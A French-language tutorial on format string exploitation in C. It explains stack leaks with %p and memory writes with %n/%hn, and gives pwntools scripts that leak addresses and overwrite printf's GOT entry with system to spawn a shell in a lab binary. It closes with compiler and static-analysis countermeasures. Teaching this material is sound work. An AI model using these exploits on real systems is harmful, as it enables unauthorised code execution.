Format String Exploitation Moderne : Du Crash au RCE en 2026

Les vulnérabilités de format string sont un classique de l'exploitation binaire, présentes depuis les années 2000 mais toujours pertinentes en 2026. Une format string vulnerability survient quand une entrée contrôlée par l'attaquant est utilisée comme premier argument d'une fonction de formatage (printf, sprintf, fprintf, syslog) sans spécificateur de format. L'attaquant utilise des spécificateurs comme %x (lecture stack), %s (lecture mémoire arbitraire) et %n (écriture mémoire arbitraire) pour transformer un simple bug de programmation en exécution de code arbitraire. Ce guide technique couvre les mécanismes d'exploitation, les techniques modernes adaptées aux protections actuelles (ASLR, PIE, RELRO, stack canaries), la construction d'exploits avec %n et %hn, et les contre-mesures de compilation. Les développeurs d'exploits et les auditeurs de code trouveront ici une méthodologie complète pour l'exploitation format string en environnement moderne protégé, avec des liens vers les techniques d'exploitation ROP complémentaires.

Mécanisme de Base : printf et la Stack

Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :

// CODE VULNÉRABLE\\nchar user_input[256];\\nfgets(user_input, sizeof(user_input), stdin);\\nprintf(user_input); // ❌ VULNÉRABLE — l'utilisateur contrôle le format\\n\\n// CODE CORRIGÉ\\nprintf("%s", user_input); // ✅ SÉCURISÉ — format string fixe\\n\\n// Exploitation :\\n// Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack\\n// Input: "%s" → lit une string à l'adresse pointée par le prochain arg stack\\n// Input: "%n" → ÉCRIT le nombre de caractères imprimés à l'adresse stack\\n// Input: "AAAA%7$n" → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)

Lecture de la Stack : Leak d'Informations

Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :

\\n
• Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
\\n
• Stack canary : leak de la valeur canary pour bypass stack protection
\\n
• Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
\\n
• PIE base : leak d'adresses du binaire pour bypass PIE
\\n

#!/usr/bin/env python3\\n# Leak automatisé via format string\\nfrom pwn import *\\n\\nelf = ELF('./vuln')\\np = process('./vuln')\\n\\n# Itérer les positions de la stack pour trouver des adresses intéressantes\\nfor i in range(1, 30):\\n p.sendline(f'%{i}$p'.encode())\\n leak = p.recvline().strip()\\n print(f"Position {i:2d}: {leak}")\\n # Identifier les adresses : stack, libc, PIE, canary\\n # Canary: typiquement se termine par 0x00 (null byte)\\n # Libc: commence par 0x7f sur x64\\n # PIE: correspond à la plage du binaire

Écriture Mémoire : Le Spécificateur %n

Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :

# GOT Overwrite via format string (x64, pwntools)\\nfrom pwn import *\\n\\nelf = ELF('./vuln')\\np = process('./vuln')\\n\\n# Cible : écraser l'entrée GOT de printf par l'adresse de system\\n# printf@GOT sera appelé avec l'argument contrôlé → system(user_input)\\n\\ngot_printf = elf.got['printf'] # Adresse de printf dans la GOT\\nsystem_addr = elf.symbols['system'] # Adresse de system (si no-PIE)\\n\\n# Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux\\n# %hn écrit les 2 octets inférieurs du compteur de caractères\\n\\n# Construction du payload avec pwntools fmtstr_payload\\npayload = fmtstr_payload(\\n offset=7, # Position de notre input sur la stack\\n writes={got_printf: system_addr}, # Quoi écrire où\\n numbwritten=0, # Caractères déjà imprimés\\n write_size='short' # Utiliser %hn (2 octets) au lieu de %n (4)\\n)\\n\\np.sendline(payload)\\n# Au prochain appel printf(user_input) → system(user_input)\\np.sendline(b'/bin/sh')\\np.interactive()

Exploitation Moderne : Full RELRO et PIE

Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :

\\n
1. Étape 1 — Information Leak : utiliser %p pour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et de system/execve.
\\n
2. Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via %n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).
\\n

Format String sur le Heap

Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.

Contre-mesures de Compilation

\\n
• -Wformat -Wformat-security : avertissements à la compilation pour les format strings non constantes
\\n
• -Werror=format-security : transforme l'avertissement en erreur (empêche la compilation)
\\n
• -D_FORTIFY_SOURCE=2 : remplace printf par __printf_chk qui détecte les %n dans les format strings writables
\\n
• Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
\\n
• Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement
\\n

FAQ — Questions Fréquentes

Exploitation des format strings dans les environnements durcis modernes

Les vulnérabilités de format string persistent en 2026 dans des contextes spécifiques : les firmwares embarqués compilés sans ASLR, les applications legacy C/C++ maintenues sur des OS sans DEP/NX activé, et certains modules noyau de systèmes temps-réel. Dans ces contextes, l'exploitation moderne d'une format string combine les techniques classiques (lecture arbitraire via %s, écriture via %n) avec des approches de bypass des mitigations partielles.

Le bypass de l'ASLR partielle dans les environnements contraints s'effectue via une fuite d'adresses par format string (leak de pointeurs de stack pour calculer les offsets), suivi d'une écriture ciblée. La technique du "GOT overwrite" reste viable sur les binaires compilés sans RELRO complet. Les outils de développement modernes (GCC 13+, Clang 16+) activent par défaut les warnings `-Wformat-security` et `-Werror=format-security`, rendant les nouvelles vulnérabilités de format string rares dans le code maintenu activement — mais le legacy code reste une surface d'attaque significative dans les parcs industriels et les systèmes embarqués non mis à jour.

La prévention des vulnérabilités de format string dans les nouvelles bases de code repose sur l'adoption systématique de pratiques de codage sécurisé et d'outils d'analyse statique. En C, la règle absolue est de ne jamais passer une chaîne utilisateur directement comme chaîne de format — utiliser toujours `printf("%s", user_input)` plutôt que `printf(user_input)`. En C++, préférer les streams (iostream) ou les bibliothèques modernes comme `fmtlib` (intégrée dans C++20 via `std::format`) qui sont immunisées par conception contre les format string attacks.

Les outils d'analyse de code statique comme Semgrep avec les règles `c.lang.security.format-string` ou CodeQL avec les requêtes de taint analysis permettent de détecter automatiquement les patterns dangereux dans les bases de code existantes. L'intégration de ces scans dans les pipelines CI/CD — avec blocage du merge si des patterns de format string dangereux sont détectés — est la mesure préventive la plus efficace pour les nouvelles contributions. Pour le code legacy, un audit progressif priorisé par les points d'entrée (surfaces exposées aux données utilisateur non fiables) permet de résorber la dette technique sécurité de manière ordonnée.

\\n

\\n

Besoin d'un expert cybersécurité ?

\\n

Audit, pentest, formation, IA — plus de 25 ans d'expérience, 100+ missions réalisées.

\\n

\\nDemander un devis\\n[email protected]\\n

\\n